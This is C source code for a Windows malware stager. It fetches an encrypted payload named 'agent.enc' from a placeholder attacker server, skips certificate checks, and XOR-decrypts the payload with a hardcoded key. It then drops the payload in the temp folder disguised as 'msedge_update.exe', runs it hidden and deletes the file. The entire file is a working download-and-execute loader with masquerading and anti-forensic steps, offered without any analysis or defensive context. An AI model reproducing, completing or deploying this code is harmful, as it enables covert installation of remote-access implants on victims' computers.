#include <windows.h>
#include <wininet.h>
#include <stdint.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")

#define URL "https://CHANGEME_IP:443/dl/CHANGEME_TOKEN/agent.enc"

int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) {
    volatile unsigned char key[32];
    key[0]=0xde;key[1]=0xad;key[2]=0xbe;key[3]=0xef;
    key[4]=0xca;key[5]=0xfe;key[6]=0xba;key[7]=0xbe;
    key[8]=0x13;key[9]=0x37;key[10]=0x42;key[11]=0x69;
    key[12]=0xaa;key[13]=0xbb;key[14]=0xcc;key[15]=0xdd;
    key[16]=0x11;key[17]=0x22;key[18]=0x33;key[19]=0x44;
    key[20]=0x55;key[21]=0x66;key[22]=0x77;key[23]=0x88;
    key[24]=0x99;key[25]=0x00;key[26]=0xab;key[27]=0xcd;
    key[28]=0xef;key[29]=0x12;key[30]=0x34;key[31]=0x56;

    HINTERNET hI=InternetOpenA("Mozilla/5.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!hI) return 1;
    HINTERNET hU=InternetOpenUrlA(hI,URL,NULL,0,0x84803000,0);
    {DWORD sf=0x00003380;InternetSetOptionA(hU,31,&sf,sizeof(sf));}
    if(!hU){InternetCloseHandle(hI);return 1;}

    BYTE *data = (BYTE*)VirtualAlloc(NULL, 256*1024, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if(!data){InternetCloseHandle(hU);InternetCloseHandle(hI);return 1;}
    
    DWORD total=0, br;
    while(InternetReadFile(hU,data+total,4096,&br) && br>0) total+=br;
    InternetCloseHandle(hU); InternetCloseHandle(hI);
    
    if(total < 100) { VirtualFree(data,0,MEM_RELEASE); return 1; }

    for(DWORD i=0; i<total; i++) data[i] ^= key[i % 32];

    char tmp[MAX_PATH], exe[MAX_PATH];
    GetTempPathA(MAX_PATH, tmp);
    _snprintf(exe, MAX_PATH, "%smsedge_update.exe", tmp);

    HANDLE hF=CreateFileA(exe,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hF==INVALID_HANDLE_VALUE){VirtualFree(data,0,MEM_RELEASE);return 1;}
    DWORD bw;
    WriteFile(hF, data, total, &bw, NULL);
    CloseHandle(hF);
    VirtualFree(data,0,MEM_RELEASE);

    STARTUPINFOA si={0}; si.cb=sizeof(si); si.dwFlags=STARTF_USESHOWWINDOW; si.wShowWindow=SW_HIDE;
    PROCESS_INFORMATION pi={0};
    CreateProcessA(exe,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);

    Sleep(5000);
    DeleteFileA(exe);
    if(pi.hProcess) WaitForSingleObject(pi.hProcess,INFINITE);
    return 0;
}
